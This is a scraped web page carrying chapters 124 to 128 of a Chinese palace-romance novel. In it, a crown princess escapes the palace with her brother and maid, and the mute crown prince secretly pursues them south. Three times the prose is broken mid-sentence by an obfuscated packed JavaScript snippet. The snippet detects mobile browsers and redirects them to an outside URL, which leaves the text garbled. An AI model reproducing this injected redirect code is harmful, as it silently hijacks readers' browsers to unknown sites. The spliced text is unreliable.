两匹马,三个人,马不停歇地穿梭于浓黑的山野之中。 他们先向北而行,待确定后无追兵时,又掉头朝着东南方而去。 江箐珂坐在马背上,感受着自由随风迎面扑来。 虽然舒畅痛快,可一颗心却像浸满了水似的,沉甸甸的,怎么也高兴不起来。 与少时每次愤愤离家出走不同,这次的离宫出走,是苦涩的。 就像夜颜的眼泪。 说实话,不好受。 但人生短短数十载,岂能为了不牢靠的情爱,而委屈自己,在宫里与数不清的女子共侍一夫,凑合过完这一世? 若无情,倒也无所谓。 偏偏她懂了情爱这种东西。 懂了,那一切就都不一样了。 她想要的东西,若无法独属于她,不如不要。 伤痛、难过都是一时的,江箐珂坚信,时间长了,她总会淡忘的。 …… 赶了一夜的路,三人于黎明破晓前赶到了运河渡口。 渡口前的一家面馆里,三碗热气腾腾的素面被端上桌来。 江止向来不拘小节,拿起筷子,便大口大口地吃了起来。 逃了一晚,喜晴也饿坏了。 拿了双筷子塞到江箐珂的手里后,也跟着江止吸溜吸溜地吃得喷香。 唯有江箐珂看着眼前的那碗面,没有一丁半点儿的胃口。 江止抬眼看了看,见她无精打采地坐在那里,便拖着嗓音懒声问:“怎么着,要不老子给你送回去?” 江箐珂斜眼乜了他一下,噘嘴摇头。 江止朝她身前的那碗面努了努下巴,催促道:“那就抓紧吃,别矫情,不吃就回去!” 江箐珂难受想哭。 可又不想让人看到她的软弱。 更何况,是她自己要逃的,在这儿难过算什么事儿? 遂拿起筷子,勉强吃了半碗。 剩下的面,江止也不嫌弃,拿过去,连汤带面吃个精光。 等船的功夫,发现喜晴的脚被狗咬伤了一处。 江止同面馆小二要了壶酒,在喜晴身前蹲下,将随身带着的创伤药膏掏出,欲要给她的脚清洗上药。 “大公子,奴婢自己来吧。” 喜晴的脸红得跟十月的柿子似的,低着头,都不敢多瞧江止一眼。 她不好意思地缩回脚,说起话来也是软糯糯的。 “这种事,怎好脏了大公子的手,奴婢自己来吧。” 江止一把拽回她的脚。 “哪来那么多废话。” 酒水冲洗着伤口,他语气散漫道:“只要别想碰了下脚,非要嫁老子就成。” 喜晴抬眼偷偷看了江止一眼,又局促地垂下了头。 “奴婢不敢。” 江止斜斜一勾唇,没再说什么。 待伤口处理完毕,江箐珂拿出一条干净的袖帕,包在了喜晴的脚上。 提心吊胆地等到大客船来到渡口,三人便牵着马,背着行囊,上了船。 客船里,江箐珂透过大敞的轩窗望向渡口。 既庆幸那人没有追来,又难过再也看不到那个人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144451|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>眼见着渡口越来越远,成功逃离的实感这才涌上心头。 自嫁入东宫后的种种,那些好的、不好的,还有一个个谎言和算计,都陆续在脑海里浮现。 包括她亲自弄掉的孩子。 积攒了许久的情绪,都在此刻达到了临界点。 泪水就这么不争气地如泉水一般涌了出来。 江箐珂本不想这么夸张的,也不想这么懦弱没用,可还是忍不住坐在客舱里捂着脸哭了起来。 喜晴轻轻拍着她的后背,小声安抚。 “小姐想哭就哭吧,哭出来就好了。” 喜晴这么一说,江箐珂就更难过了,忍不住放声大哭了起来。 恰好对面坐着一名妇人,而妇人怀里又抱着个小婴儿,身边还跟着个咿呀学语的小女娃。 江箐珂这么一哭,那妇人的两个孩子听了,便也跟着哭。 哭声此起彼伏,聒噪得很。 “能不能管管你家小娘子,让她别哭了?”那妇人不满地抱怨道。 江止大刀阔斧地坐在那里,抖着二郎腿,故意将带刀疤的那侧脸冲着那妇人。 “又不是给你哭丧,碍着你什么事儿了?” 妇人一边哄着孩子,一边呛声道:“你这小兄弟怎么说话呢?” 江止端着那副地痞流氓的匪气,打了个哈欠,然后将**往那里一立,仰着下巴,凶道:“就这么说话,怎么着吧?” 妇人发怵,只能抱着怀里孩子慢慢哄。 江箐珂停了哭声,梨花带雨地看向江止。 江止却摸着她的头,笑着哄道:“哭,继续哭,一次哭痛快了。” 一艘大客船,沐浴着晨曦,在金灿灿的河面上,于此起彼伏的哭声中,一路向南而去。 红日跃出河面,一点点升空,照着那偌大的客船,也隔着轩窗,照进皇陵行宫的那间寝殿里。 李玄尧从漫长的噩梦中缓缓醒来。 他静静地望着床榻的帐幔棚顶,昨夜未流完的泪,顺着水蓝色的那侧滚了出来。 “殿下。” “殿下总算醒了。” 守了一整夜的曹公公担心不已,立马凑到床边追问。 “殿下可有哪里不适?” 第124章 追回来便是 李玄尧撑身坐起。 手中的异物感引起他的注意。 看了眼手中的军令牌,想起了昨夜意识混沌间江箐珂同他说的话。 唇线紧绷,森冷锋锐的双眼抬起,他掀开被子,大步冲下床榻。 似是仍抱着一丝希望,疯一般地四下寻找江箐珂的身影。 可侧殿、耳室、屏风后,皆是空空荡荡,根本不见那个一转身就会冲他明朗一笑的身影。 他的那道光没了。 没有江箐珂在的地方,就是如此的晦暗冷清。 就像有利爪在抓挠他的心一样,痛得人胸腔发紧,酸涩弥漫,连呼吸都成了负担。 异瞳湿红,盛着两色的愤怒和悲伤 曹公公躬身靠近,操心地给李玄尧披了件长袍。 “殿下,太子妃昨夜跟喜晴姑娘......走了。” “发现时,已经晚了。” “虽已经派人出去追查,但是到现在也没有消息。” 李玄尧仰面,紧闭双眼。 垂在身侧的手则紧紧攥着那块军令牌。 那骨节泛白,手臂青筋暴起,恰如他昨夜无声的嘶喊,明明用了力,却是徒劳。 他从未像今天恨自己如此无用。 为何他是个不能喊、不能叫的哑巴? 为何昨夜要乖乖听她的话? 是因为他骗过她一次,所以,她定要用这么残忍的方式来报复他? 曹公公虽知晓李玄尧心绪不佳,却还是不得不硬着头皮提醒。 “殿下,该回京城了,堆积了一日的朝政可耽误不得啊。” “穆大公子和钦天监的仪仗队伍已出发先回京城了,奴才也安排了一名女婢扮成太子妃,上了马车,暂时遮掩此事。” “至于寻太子妃的事,眼下去何处寻也没个头绪,还得回宫从长计议才是。” 对。 人跑了,追回来便是。 …… 快马加鞭赶回到京城后,李玄尧立即派谷羽和谷俊分头去了两个地方。 一个是江家在永宁坊临时住的宅邸,一个便是佰顺镖局。 没多久,谷羽和谷俊陆续回宫禀报。 谷羽先说。 “据张氏所言,江止帮镖局兄弟走趟镖,昨日天不亮就离开了宅子。” “走之前的前几日,还同张氏说过,此趟镖走完会回去西延,看看江老将军,估摸有阵子不会回京城。” 谷俊接着道:“佰顺镖局的人也是同样的说法,说江止帮忙去西边送趟镖,顺便回趟西延。” 穆珩在旁煞有介事地分析起来。 “这不明摆着吗?” “太子妃定是跟江大公子一起走的。” “既然是费尽心思逃出去的,若真直接跑回西延,未免过于蠢笨了些。” 李玄尧侧眸,一个眼刀子朝穆珩直愣愣地刺了过去。 那压制的愤怒、急切和幽怨,都化成森冷的寒意,萦绕在他的周身,威凛逼人,让人不敢再妄言一句。 穆珩收敛起那份随意,清了清嗓子,好心提醒。 “眼下,你登基即位最为重要,寻太子妃的事,不如暂且搁置一段时间。” “今日探子来报,说惠贵妃和十皇子那边最近似乎有动作。” 李玄尧垂眸,指腹摩挲了片刻,又提笔写字,同谷羽和谷俊二人下令。 【去查查佰顺镖局最近办的所有通关文牒,以及昨日或前日出发的镖队路线。】 【江止常见的那位酒楼老板娘,也去查查。】 谷羽和谷俊二人再次领命而去。 而江箐珂出逃之事,很快就传到了穆元雄的耳朵里。 穆元雄匆匆来到东宫,与李玄尧和穆珩二人商议了一番。 宫内眼目众多,凤鸾轩里一直空着,势必会引起他人的猜疑。 而随便安排个宫婢在里面装模作样,又终究不是稳妥之策。 思来想去,穆元雄想了个法子。 当日便派穆珩出宫去办。 …… 万佛寺。 穆汐正面无表情地在禅房里抄经。 她心如死灰,早已不再企盼什么。 适时,花容欣喜不已地从外面跑进来,“小主,你猜谁来了?” 古井般的凤眸终于有了一丝波动。 穆汐缓缓掀眸,朝门口望去。 在见到那熟悉无比的面孔时,她心头猛然抽痛了一下,可很快又恢复了平静。 只是那张脸,却不是那双眼,那个人。 她坐在那里不动,低头继续抄着经文。 穆珩走进屋内,沉声问她。 “最近过得可好?” 穆汐沉默,连头都不抬一下。 穆珩又道:“毕竟是皇上下的令,又碍于殿下的情面,我这个当兄长的,虽然一直想来看看你,却实有不便。” “只能安排人让佛寺里的主持对你多加照拂。” “还希望你莫要怪为兄才是。” 见穆汐始终没有回应,穆珩便也不好再拉着她说什么。 于是,开门见山地说起了此行的目的。 “今日能来见你,也是得父亲准允。” 默了默,穆珩直言道:“太子妃跑了,可衡帝禅位在即,正是殿下登基的关键时刻,惠贵妃那边又虎视眈眈,一直在伺机而动。” “太子妃出逃的事情,说什么也得先瞒一阵子。” “所以,父亲今日便让我送个人过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144452|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” 话落,穆珩对着屋外的人沉声下令:“进来吧。” 穆汐抬头看去。 只见一位豆蔻少女走了禅房。 少女发一身白衣,打扮甚是清淡素雅。 虽然年纪不大,可眉眼间却是有着与年纪不符的沉稳和成熟。 见了穆汐,少女甚是机灵地下跪行礼。 “玖儿见过小主。” 声音脆生生的,很是好听。 穆珩继续又言。 “父亲暗中培养的这批细作中,就属玖儿的身量和脸盘跟太子妃最像。” “玖儿也同鹂莺一样最擅长口技,凡是听到的声音,都能模仿得七八分像。” “再加上花容的易容术,怕是和太子妃站在一起,也难辨真假。” “而且她能习武,定能混人耳目,暂且帮东宫隐瞒一阵子。” “父亲说了,待此事过后,也好借着这个人情,同太子殿下和皇上求情,早日把你接回宫去。” 沾了墨汁的笔悬停在那里许久,直至墨汁滴落在宣纸上。 穆汐既没有点头,但也没有摇头。 穆珩瞧了瞧,自觉氛围沉冷尴尬,便起身离去。 在踏出房门外时,他还是忍不住回头说了一句。 “若是你一直隐忍不动,安安静静地守在殿下身旁,何苦落到这般田地?” “如今江箐珂自己主动让了位置,你却被关在此处,到底是白折腾一场。” “但凡你能隐忍蛰伏,此时笑的便是你。” “把人教好了,明日我派人来接。” 叹了口气,穆珩无奈而去。 穆汐起身,绕过案桌,清冷而高傲地走到那少女身前。 玉葱素指捏住少女的两颊,她垂眸睥睨,细细打量着。 不知是想到了什么,穆汐浅浅地笑了起来。 【可学过房中术?】 花容怔了一瞬,但在穆汐目光的威逼下,还是如实转述。 玖儿听后,喏声点头。 “回小主,奴婢学过。” 【知道如何勾引男人嘛?】 玖儿答:“知道。” 【你既叫我小主,是不是也该听我的话?】 玖儿点头:“请小主吩咐。” 【进了宫后,你要想办法爬上殿下的床。】 【若能给殿下生个一儿半女的,你就能飞上枝头变凤凰了。】 玖儿听了怔愣。 花容说完则是不解。 “小主这是为何?” 穆汐浅浅勾唇,笑得清冷又阴鸷。 她转身走到案桌前,在那串经文后,提笔写了一行字,给花容看。 【破了殿下守身如玉的痴心,让他知道自己有多可笑。】 第125章 只能是你 江箐珂不在了,可搁置了一日的奏折却仍堆积在那里。 李玄尧在案桌前坐下,盯着一处,目光放空了良久。 他面色平静如一泓死水,一双妖魅的异瞳里也无半点波澜。 唯有一只手在死死攥着江箐珂给他做的那个竹哨。 是了。 如今回想起来,江箐珂当初从做这个竹哨起,就从没说过遇到危险时吹响它,她就会出现来救他。 一次都没有。 连撒谎哄骗都没有。 说的话都是“有人听到会来救你”。 好像无论他是夜颜,还是太子李玄尧,都不在她江箐珂的人生憧憬中。 唇线紧抿,李玄尧闭眼深呼吸,尝试着静下心来。 人要找,可折子要看,朝政要理,敌人要防,登基即位也要着手准备。 不然又能怎样呢? 谁让这是他选的路。 他必须要走下去,不能让那些希望他倒下或退缩的人得逞。 暂时放下手中的竹哨,李玄尧拿起狼毫笔,开始全神贯注地翻阅那堆积了一天的折子。 勤政殿内幽静冷肃,长夜就在这样的氛围下,于烛火中静静流淌。 待幽蓝微弱的火苗跳了几下,“扑”的一声,残烛熄灭,殿外天色已是大亮。 李玄尧撑着头,从短暂的浅睡中,缓缓睁开眼。 看了看仅剩的几本折子,他晃了晃头,提笔,继续。 好不容易把积攒了两日的折子都看过,曹公公又捧了一摞进来。 “殿下,先休息休息,待用过早膳再看吧。” 言罢,曹公公又将一个名册子和十几个卷轴,一起呈到李玄尧的面前。 “这是右丞大人派人送来的。” “乃去年各地秋闱乡试解元的名册子,其中近半皆出自寒门,如今也皆已到京准备春闱会试。” “右丞大人已先行筛选,将文笔出众且颇有见解的策论文一并呈送,请殿下过目。” 李玄尧捏了捏眉心,点头表示知晓。 【谷羽他们可带消息回来?】 曹公公拖着尖细的嗓音,慢声言语。 “京城每日出入的百姓商贾不计其数,欲查到佰顺镖局的通关文牒,且要费些工夫,估摸着最快也要到入夜方有消息。” ...... 夜里辰时,李玄尧终于走出勤政殿。 虽然人累得浑浑噩噩,可他庆幸还有忙碌可以短暂地麻痹自己。 来到养心殿,布衣老者已等候多时。 针灸、熏香、服药。 结束后,布衣老者又跟着御前太监退出了养心殿,留下父子二人单独交谈。 相较于前几日,衡帝的气色好了许多。 李玄尧坐在龙榻边,力度适中地给衡帝捏着腿。 他眸眼低垂,让人看不到眼底的情绪。 衡帝气力虚弱地笑叹:“不愧是西延将军江无败的女儿,一身反骨,性野难驯,有点子将门之女的血性,可不如你母后好哄啊。” “这京城多少贵女趋之若鹜的皇后之位,她却弃如敝履,避之如蛇蝎,也是个心思奇特之人。” “如今人跑了,你如何打算啊?” 李玄尧掏出炭笔和册子,写给衡帝看。 【儿臣想离开些时日。】 几声轻咳后,衡帝闭眼颔首,点头准允。 “去吧,趁朕还能在宫里给你坐镇,早点把人追回来。” 【多谢父皇。】 “不过......” 简简单单的二字,衡帝的话锋突变。 “那个徐才人月份也不小了吧?” 李玄尧颔首。 衡帝又言。 “在你即位前,早点把人送出宫。” “岂能让他穆家的孩子姓李?” 沧桑混浊的双眼,依旧透着帝王洞察人心的敏锐和猜忌后的狠绝。 “正好也趁此机会,探探穆珩的心思。” “而朕为你编好的故事,不久之后,也会在京城慢慢传开。” “登基大典那日,坐在我李家龙椅上的,只能是你。” 离开养心殿,李玄尧踏着夜色回到了凤鸾轩。 行至垂花门下,便见殿内烛火通明。 恍了一下神,沉重的步子忽然变得轻快起来。 他袖袍盈着风,快步朝寝殿而去。 一推开殿门,便见江箐珂和喜晴二人正在殿内逗着那两只玄凤鹦鹉。 李玄尧步子顿住,唇角的笑意瞬间就漫上眼角。 适才的森冷肃杀之气,顷刻荡然无存。 目光锁定在那个背影上,他踱步靠近。 似是听到脚步声,让他几欲肝肠寸断的人儿也转过了身来,然后神色微微一怔,紧接着便是惊恐且谦卑的表情。 仅是这微小的神色变化,便让李玄尧的步子顿在了那里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146118|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>迈出的半步收回,他站在那里不动。 而脸上的笑意和温柔也转瞬即逝,周身的气息都像被瞬间冰封了似的,透着一股拒人于千里之外的冷。 “见过太子殿下。” 脆生生的一句话,竟与江箐珂的声音十分相似。 高大的身躯立在那里,一身玄色衣袍垂感极佳,更衬他的挺拔。 李玄尧垂眸睥睨着“江箐珂”,不得不感叹花容易容术的精湛,完美的一张脸让人挑不出一点的破绽。 唯有那双眼睛,虽然黑白分明,却浸染了浊气,不如江箐珂的清澈明润,仿若一眼就能看到底的清泉。 冷冷收回目光,李玄尧转身走到矮榻前坐下。 而闻讯赶来的曹公公也恰好走进殿内。 “启禀殿下,这两位是穆大公子派人接进来的。” “这位是玖儿姑娘,会口技,也有点功夫,她扮太子妃定能瞒过一阵子。” “而这位喜晴姑娘,则是花容扮的。” 曹公公还想再说什么,突然被李玄尧刺来的目光给打断了。 李玄尧手语示意。 【她最讨厌别人动她的东西。】 【编个合理的说辞,让她二人住到芍菡轩。】 曹公公低头领命。 “快跟咱家走吧。” 玖儿和花容互瞧了一眼后,便都低着头,跟着曹公公乖乖出了凤鸾轩。 殿门紧闭,偌大的寝殿便仅剩李玄尧一人。 他打量着周围。 安静的、清冷的、沉闷的、孤零零的...... 原来江箐珂坐在这里等他时,是这种感觉。 喉间漫上一股酸涩,李玄尧闭眼,叹气。 身子后仰,摊躺在矮榻之上。 衣袖挡住双眼,想盖住那不该轻弹的泪意。 “找抽是不是?” “夫~~君~~” 两只玄凤鹦鹉许是困了,又开始在那儿抽风,把学过的话都在睡前温**一遍。 “亲一个嘛。” “人家想吃葡萄啦。” “夜颜,你好骚气哦。” “我好喜欢。” “你有病啊?!” ...... 一声声鹦鹉学舌,一句句娇媚浪气的语调,让那氤氲在眼里的悲伤,瞬间都被笑意给挤了出来。 李玄尧就那么躺在那里,哭着笑,笑着哭。 既庆幸,又难过。 第126章 断绝兄妹关系 快到夜里子时,谷羽和谷俊终于回到了东宫。 二人来到凤鸾轩,便见谷丰坐在殿门前的石阶上,一边喝酒,一边在那儿抹眼泪。 谷俊双手抱剑,走过去,踢了踢谷丰的脚。 他扯唇轻笑,眼中含着几分讥诮。 “这男人让你做的,怎么还哭上了?” 谷丰磕磕巴巴道:“心心心心,心里,难难难难,难受!” 谷俊瞧不起他这窝囊样儿。 “至于吗,为了个婢子?” 谷丰抽了抽鼻子。 “你你你,你懂个,屁!” “等等,等你,以以以后,媳媳媳妇儿,跟跟跟别别人,跑了,看看看......” 谷俊直接打断道:“这种事儿,是不可能发生在我身上的。” 言罢,便叫上谷羽一起叩门进了殿内。 二人将大周舆图展开,将今日所查之事一一同李玄尧禀报。 “佰顺镖局近日接了六趟镖,其中有两趟已于前两日便出了京城。” “另有四趟皆是昨日晨间出的城门,走镖路线皆经过皇陵附近,再朝东南西北四个方向而去。” 言语间,谷羽在舆图上分别用朱砂笔勾划出镖队的路线。 “但从通关文牒上来看,这四趟镖的终点都不是西延。” “太子妃具体走的哪条路线,无法确定。” “酒楼老板娘那边也问过了,并无任何线索。” “只道江大公子每次进她屋子里后,便翻窗从后门出去,到了第二天早上再翻窗进来,然后从酒楼正门出去。” “为了行这个方便,倒是给酒楼老板娘不少银子,就是不给身子。” ...... 李玄尧提笔,分别在四条路线上写下了谷丰、谷俊、谷羽和谷昭四个人的名字,命他们四人分四路去追查。 若有江箐珂和江止的消息,立刻派人送信来报。 吩咐过后,鹰一般锐利的异瞳仍紧紧地盯着舆图上的四条路线。 修长的手指轻轻地在上面敲点着。 一下。 两下。 三下...... 指尖停住,转而随着视线缓缓移动,最后停在大周运河的那条线上。 李玄尧看着舆图上那个被墨色圈起来的两个字,心里默念起一句话。 【杏花吹雪满长洲,水......】 “水暖烟轻画里游。” 看着渡口石碑上刻着的“长洲”二字,江箐珂不由地吟出这一句。 成功出逃的第七日,终于能上岸脚踏实地了。 悲伤郁闷的情绪,还有那无尽的思念,都被新鲜的事物和长洲的春色给挤到了脑后。 喜晴更是欣喜不已,背着行囊,东瞧西望,看着随处可见的春花开得如云似雾,忍不住连连称赞。 “不愧是长洲,花儿这么早就开了。” “这时候,若是在西延和京城,天儿都还凉着呢。” 江箐珂也没心思难过了。 十九岁的少女心性使然,她眉眼弯弯,一脸新奇地打量着周围。 “是啊。” “这儿的花都没见过,比御花园开得好看多了。” 喜晴附声。 “小姐真是逃对了,若是困在宫里,这辈子哪有机会坐船,哪有机会看大周的山河,看这水乡小城的好风光。” 江箐珂点头如捣蒜。 男人跟自由比,算得了什么? 游山玩水才是最快乐的。 这异瞳哑巴不好找,两条腿的美男子还找不着了? 待江止将两条马从客船上牵下来,三人便溜溜达达地赏着春色,去城里寻落脚的客栈了。 “不知公子怎么称呼啊?” 客栈的掌柜问。 “姓宋。” “宋公子。” 掌柜看了眼江箐珂和喜晴,笑吟吟道:“两间房?” 江止嘴角叼着个狗尾巴草,冷着脸,身子斜倚在高高的柜台前,将碎银子往掌柜面前随手一扔,举手抬足尽是地痞之气。 他凶巴巴地看着那掌柜,沉声道:“一间大房。” 江箐珂一听,立马凑上前来,想要两间房。 “不行,要......” 话未说完,江止的大手就呼到她的脸上,用力一推,把她整个人推到了一旁。 掌柜的试探地问了句:“这位是公子的......?” 江止爱答不理地回道:“夫人,另个是丫鬟。” 掌柜笑了笑,收好银子,交出了钥匙牌,并叫来了客栈小二儿。 “客官楼上请。” 客房门一关,江箐珂就鼻子不是鼻子,眼睛不是眼睛地看着江止。 “又不缺银子,干嘛不要两间房?” “我和喜晴都是女子,同住一间屋子,多不方便?” 江止也不管那事儿,往太师椅上一坐,双腿翘起,搭在旁侧的茶桌上。 “谁知道是不是黑店?” 他拖着声调,云淡风轻地又问:“是命重要啊,还是方便重要?” 话糙理不糙。 江箐珂无言反驳。 这人生地不熟的,屋子里有阿兄坐镇,确实较为安全。 且,若遇到什么变故,三个人也好一起逃。 走到茶桌前坐下,江箐珂抬腿,一脚把江止的腿踹了下去。 “臭脚丫子,往哪儿放呢?” 江止斜勾着唇角,又故意把腿搭了回去,挑着眉头看着江箐珂,就等着她发火儿。 “找抽是不是?” 江箐珂抬腿就又是一脚,然后起身又去捶了江止几拳。 江止不还手,就是坐在那里咯咯地笑。 待江箐珂发泄够了,他似有所感地笑道:“就是这个劲儿,这下对味儿了。” 江箐珂白了他一眼,拿起江止随手放在茶桌上的文牒和户籍文书。 “宋临。” “名字起得不错,不过还是江止好听。” 喝了口喜晴递来的茶,江止状似无意地提了一句。 “等以后回了西延,老子还是改回宋姓算了。” 江箐珂听了,立即表态反对。 “那不行,那我们江家不白养你这么多年?” “阿兄生是江家的人,死是江家的鬼。” “想改姓,休想!” 江止不爱听这话。 他拧着眉头,借着那脸上的那道疤,冲着江箐珂凶道:“老子爱姓什么就姓什么,要你管?” “阿兄要是敢改姓,我就再也不理阿兄了?” 江止眼底闪过一丝得意,抖着腿,装作无所谓的浪荡样儿,顺着江箐珂的话道:“行啊,不理我,那咱俩就断绝兄妹关系呗。” 江箐珂不让话。 “断就断,离了阿兄我还活不成了?” 江止眉头拱起,看着江箐珂,邪肆一笑。 “这话可是你说的?” 美眸左右晃了晃,江箐珂低头喝茶,没搭这儿茬。 江止一瞬不瞬地瞧着她,故意拿话刺激江箐珂。 “怎么着,有种说,没种认?” “你才没种呢。” 江箐珂不耐烦地回顶了一句,起身,悻悻朝客房门外走。 “我饿了,出去吃饭。” 第127章 归宝阁 黄昏时分,三人坐在一家酒楼里,听着琵琶弹唱。 为了不惹眼,江止终于放弃了他那身艳红色,低调地穿起了一身黑。 酒过三巡,喜晴略呈微醺之态。 她撑着面腮,吐着温热的酒气,软声软气道:“小姐和大公子接下来如何打算?” 江止扔了个花生米到嘴里,懒洋洋地说着接下来的计划。 “在长洲玩几日,然后顺着官道,一路往南玩下去。” 杏眼圆睁,喜晴满眼期待。 “就这么一路玩下去,不回西延?” “对,就这么一路玩儿下去。” 江止歪头看向江箐珂。 大手抬起,覆在她的细颈上,轻揉轻捏,像是在给她按摩。 江箐珂对此早已习以为常,并没有反抗,也没觉得哪里不合适。 小的时候,江止就总这么捏着她的脖梗子,要么指着她的鼻子说她有病,要么贴脸装凶威胁她。 久而久之,也就成了习惯。 点漆如墨的瞳眼圈着江箐珂,唇角藏着欢喜,江止道:“等咱们把大周的山河都瞧遍了,过个一年两年,再回西延。” 江箐珂亦是这个打算。 一两年后,李玄尧无数美人在怀,皇子公主满地跑,哪还会记得她这个东宫旧人? 到时回西延,再稳妥不过。 喜晴搓了搓红扑扑的小脸蛋,瞎操起心来。 “那咱们的银子够吗?” 似是听了个大笑话,目光从江箐珂的身上收回,江止扯唇斜斜一勾,又端起来了不正经的调性。 “怕什么?” “等银子都花完了,老子就卖身去,专挑那些酒楼茶馆的老板娘勾搭,然后带着你俩白吃白住?” 江箐珂蹙眉乜了江止一眼,低头剥着花生,嗔笑调侃。 “阿兄真是自我感觉良好,又不是探花郎,又不是城北徐公,人家酒楼茶馆的老板娘凭什么让你带俩拖油瓶白吃白住?” “就凭老子的...... 手臂搭在江箐珂身后的椅背上,江止又看向她,抖腿坏笑。 他一字一句,故意道:“葡萄,红又甜。” “......” 花生剥到一半,动作便凝滞在那里。 明明人像是被冰封了一样,可后背、脖颈却热出一层汗来。 双颊红热,江箐珂抿唇垂头,没好意思接茬跟江止继续斗嘴皮子。 心眼子一动,她立马换了个话题。 “咱们三个人,要不要再买一匹马?” 江止反对。 “浪费那银子作甚。” “两匹就够。” “你跟喜晴骑一会儿,再过来跟我骑一会儿,溜溜达达的,不是挺好?” “不然四处投宿,多匹马,还得浪费一份粮草钱。” 听起来有些道理,江箐珂便没有再坚持。 侧眸瞧了眼江止下颌上的那条刀疤,她心思谨慎道:“虽说太子未必会在意我,但咱们暂时还是要小心些为好。” “阿兄脸上的疤太过明显,出门时,就弄个络腮胡子贴上,把刀疤遮一遮。” “以防万一,咱们以后换个地方就换个身份,也可以女扮男装,阿兄也可以男扮女装。” “否则,两女一男,多少有些明显。” 江止点头认同:“有道理,全听满满的。” “啧。” 江箐珂不耐烦地更正道:“说多少遍了,叫我小满。” 江止拗着性子,同她抬起杠来。 “那老子也可以随心所欲改姓宋,以后就叫我宋小爷。” 江箐珂攥着拳头想揍他。 “阿兄一天不气我,就皮痒是吧?” 江止偏头直勾勾地看着她,笑而不语。 幽深的眼神如夜里的河水,让人看不清那下面藏匿的心思。 吃过酒后,三人来到长洲城里最繁华的夜市溜达。 三人走着走着,江箐珂的步子忽然慢了下来,最后在一家铺门前驻足。 江止察觉,退步回到她的身侧。 他顺着江箐珂的视线瞧去,不由得蹙眉惊诧。 “没想到这长洲竟也有归宝阁。” 江箐珂若有所思地点了点头,继续迈步往前走。 江止收回视线,跟在她身后亦步亦趋。 两人前脚刚走没多久,一辆马车从街巷的拐角出现,压着青石砖,缓缓穿过熙攘的人群,最后在归宝阁的门前停下。 轩窗式车门推开,李玄尧戴着黑纱帷帽,身着绛紫色长袍,从马车上走下。 他在马车前长身而立,左右顾盼,朝着街巷的另一端望去。 长街通衢,绵延不尽。 两侧酒楼茶肆鳞次栉比,小贩摊位林立。 夜色渐沉,灯笼次第高悬,如两条火龙向远处蜿蜒,将整条街巷映作白昼。 恰好在这个节骨眼,江箐珂拉着江止和喜晴二人,进了一家布料行。 李玄尧观察了几眼周围的情况,迈步走进归宝阁。 归宝阁的典当先生一见来者气度不凡,立马出来迎接。 “敢问公子可是京城来的?” 马夫扮相的谷丰回道:“是。” 典当先生立马赔笑道:“先生前些日子已派人送了书信过来,命小人提前为公子备好住处,公子快后院请吧。” 进了客房,李玄尧与同来的黑甲卫统领南星偏头示意。 南星颔首领命,同典当先生问道:“先生先前让你留意的,可有什么消息?” 典当先生同小厮眼神示意,小厮立刻取来了长洲城的出入簿。 “这是近三日长洲渡口市舶司那里的出入簿。” “暂时未发现有先生提及的一男二女。” “至于今日的出入簿,要等市舶司那边誊抄好后,于明日送来。” 李玄尧伸手接过,开始细细翻阅。 南星继续替李玄尧问那典当先生。 “长洲城共有多少家客栈?” 典当先生神色拘谨地笑道:“哎呦,那可多了。” “长洲城地处运河要道,又是远近闻名的花城,往来客旅、商贾川流不息,城中住客自是极多。” “只怕单是官府登记在册的客栈,就不下四五十家。” 南星不以为然。 “无妨。我们这么多人,一人一天四五家,怎么说也查完了。” “只要把各家客栈在城区图上标下来,马上交予我家公子便是。” 典当先生颔首领命。 “小的这就去办。” 赶在典当先生走之前,谷丰从背囊里抽出一卷画像递了过去。 “拿,拿,拿去,问问问问......” 南星性子急,等不得谷丰把话说完。 遂插嘴替他道:“去问问市舶司的人,看看近些日子,可曾见过这画像上的男子。” 典当先生接过画像,徐徐展开来看。 只见一位眉目俊朗的红衣郎君跃然于纸上。 可惜一道刀疤斜破了那冠玉之姿,倒是平添几分江湖英雄的豪气。 第128章 别慌 典当先生和小厮退下后,李玄尧便快速翻着那出入簿。 南星和谷丰二人则于旁侧待命。 无事之时,南星小声同谷丰抱怨了几句。 “殿下命你去西边儿追,你为何非得跟着往南边儿跑?” “害得我兄弟还得替你跑西边儿。” “我这急性子真受不了你这磕巴,一起办个事儿得急得我抓心挠肺的。” 谷丰抱着背囊里的那几卷画像,理直气壮道:“殿殿殿,殿下都,都都没,嫌,嫌,嫌弃我,你你你,你算,老老,老几?” 南星摇头叹气。 “就你这样,连话都说不利索,哪家好姑娘愿意跟你。” “要我,我也跑。” 谷丰剑眉紧拧,咬着后槽牙反怼。 “你你你这,这这样的,我我,我也,看看看,看不上!” 